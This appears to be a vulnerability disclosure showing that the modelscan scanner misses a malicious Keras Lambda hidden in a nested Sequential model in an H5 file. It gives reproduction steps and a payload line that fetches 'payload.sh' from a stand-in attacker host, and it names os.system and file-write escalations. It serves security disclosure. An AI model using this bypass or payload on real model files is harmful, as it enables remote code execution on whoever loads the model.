Views
No views yet
Sequential models. An attacker embeds a malicious Lambda inside an inner Sequential — modelscan reports the file as clean.| File | Description |
|---|---|
malicious_nested.h5 | Crafted Keras H5 with nested Lambda (keras.utils.get_file as PoC payload) |
reproduce.py | Automated reproduction: scanner bypass + hidden Lambda extraction + trigger |
1pip install modelscan tensorflow h5py numpy
2python3 reproduce.pyNo threats found ← bypass confirmedmodel.predict() calls keras.utils.get_file(origin="https://attacker.example.com/payload.sh") → outbound HTTP to attacker servermodelscan inspects the top-level model_config attribute of the H5 file. When a Sequential is nested inside another Sequential, the inner model's layer configs are stored as a sub-object — modelscan does not recurse into them.outer_model (Sequential)
└─ inner_model (Sequential) ← modelscan stops here
└─ Lambda(keras.utils.get_file, origin=ATTACKER_URL)keras.utils.get_file → SSRF / remote payload downloados.system → arbitrary command execution on the hostopen(...).write(...) → filesystem write